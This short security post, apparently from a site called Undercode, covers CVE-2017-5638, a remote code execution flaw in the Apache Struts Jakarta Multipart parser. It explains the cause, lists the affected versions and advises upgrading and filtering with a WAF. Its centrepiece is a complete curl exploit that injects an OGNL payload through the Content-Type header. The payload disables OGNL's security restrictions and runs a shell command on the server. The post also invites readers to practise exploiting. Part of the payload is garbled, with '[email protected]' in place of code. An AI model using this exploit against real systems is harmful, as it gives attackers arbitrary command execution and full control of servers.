Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts. An attacker exploits the system by sending a malicious `Content-Type` HTTP header in a file upload request. The parser incorrectly processes this header, attempting to evaluate it as an Object-Graph Navigation Language (OGNL) expression. This flawed evaluation occurs due to improper exception handling during the file upload process. Since OGNL expressions can execute Java code, a specially crafted header allows the attacker to achieve remote code execution on the server. The vulnerability is triggered before any application-specific validation occurs, making it highly effective. The root cause is the failure to properly handle exceptions when an invalid `Content-Type` is provided, leading to the unintended execution of the attacker’s OGNL payload with the same privileges as the Struts application server.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/upload.action
How Exploit:
Craft a malicious HTTP request with a malicious OGNL expression in the Content-Type header targeting a Struts file upload endpoint.
Protection from this CVE:
Upgrade to Struts versions 2.3.32 or 2.5.10.1. Implement WAF rules to filter malicious Content-Type headers.
Impact:
Full system compromise enabling arbitrary command execution, data theft, and complete server control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
